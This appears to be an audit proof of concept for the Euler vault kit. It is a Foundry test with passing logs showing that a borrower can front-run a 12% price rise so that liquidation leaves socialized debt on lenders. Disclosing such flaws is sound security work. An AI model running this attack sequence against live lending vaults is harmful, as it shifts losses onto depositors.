Proof of concept that shows socialized debt:
function test_exploitLiquidate() public {
uint16 ltv = 0.8e4;
uint256 lenderAmount = 10e18;
uint256 borrowerCollateral = 10e18;
uint256 borrowAmount = 8e18 - 1;
uint256 priceIncrease = 0.12e4; // 12%
// the ltv is being set for the collateral
eTSTNested.setLTV(address(eTST2), ltv, 0);
// set prices
oracle.setPrice(address(assetTST2), unitOfAccount, 1e18); // user's collateral
oracle.setPrice(address(eTST), unitOfAccount, 1e18); // user's borrow
// depositor deposits assets that could be borrowed
console2.log("lenders deposit some funds to the vault");
startHoax(depositor);
eTST.approve(address(eTSTNested), type(uint256).max);
eTSTNested.deposit(lenderAmount, depositor);
vm.stopPrank();
// borrow funds
// user deposits assetTST2 as collateral
console2.log("the change of price is being frontrunned so the attack starts");
startHoax(borrower);
console2.log(">> borrower deposits some collateral");
assetTST2.mint(borrower, type(uint256).max);
assetTST2.approve(address(eTST2), type(uint256).max);
eTST2.deposit(borrowerCollateral, borrower);
evc.enableCollateral(borrower, address(eTST2));
evc.enableController(borrower, address(eTSTNested));
console2.log(">> borrower eTST balance", eTST.balanceOf(borrower));
console2.log(">> borrower borrows", borrowAmount);
eTSTNested.borrow(borrowAmount, borrower);
console2.log(">> borrower eTST balance", eTST.balanceOf(borrower));
vm.stopPrank();
// increase of price by 12% of the borrowed asset
uint256 newPrice = 1e18 * (1e4 + priceIncrease) / 1e4;
console2.log("prices of the borrowed asset raises by", priceIncrease / 1e2, "% and its now", newPrice);
oracle.setPrice(address(eTST), unitOfAccount, newPrice);
(uint256 collateralValue, uint256 liabilityValue) = eTSTNested.accountLiquidity(borrower, false);
console2.log(">> borrower's collateralValue", collateralValue);
console2.log(">> borrower's liabilityValue", liabilityValue);
console2.log("liquidator");
address liquidator = makeAddr("liquidator");
(uint256 maxRepay, uint256 yield) = eTSTNested.checkLiquidation(liquidator, borrower, address(eTST2));
console2.log(">> maxRepay", maxRepay);
console2.log(">> yield", yield);
startHoax(liquidator);
// liquidator just get some collateral
assetTST2.mint(liquidator, type(uint256).max);
assetTST2.approve(address(eTST2), type(uint256).max);
eTST2.deposit(10000e18, liquidator); // liquidator just has a lot of collateral
evc.enableCollateral(liquidator, address(eTST2));
evc.enableController(liquidator, address(eTSTNested));
console2.log(">> liquidation starts");
uint256 socializedDebt = borrowAmount - maxRepay;
vm.expectEmit();
emit Events.DebtSocialized(borrower, socializedDebt);
eTSTNested.liquidate(borrower, address(eTST2), maxRepay, 0);
console2.log(">> position has been liquidated");
console2.log(">> amount of socialized debt", socializedDebt);
vm.stopPrank();
}
Result:
user@users-MacBook-Pro euler-vault-kit % forge test --match-test test_exploitLiquidate -vv
[⠊] Compiling...
[⠒] Compiling 1 files with 0.8.23
[⠢] Solc 0.8.23 finished in 4.16s
Compiler run successful!
Ran 1 test for test/unit/evault/modules/Vault/nested.t.sol:VaultTest_Nested
[PASS] test_exploitLiquidate() (gas: 1249887)
Logs:
lenders deposit some funds to the vault
the change of price is being frontrunned so the attack starts
>> borrower deposits some collateral
>> borrower eTST balance 0
>> borrower borrows 7999999999999999999
>> borrower eTST balance 7999999999999999999
prices of the borrowed asset raises by 12 % and its now 1120000000000000000
>> borrower's collateralValue 8000000000000000000
>> borrower's liabilityValue 8959999999999999998
liquidator
>> maxRepay 7971938775510204081
>> yield 10000000000000000000
>> liquidation starts
>> position has been liquidated
>> amount of socialized debt 28061224489795918
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.91ms (1.99ms CPU time)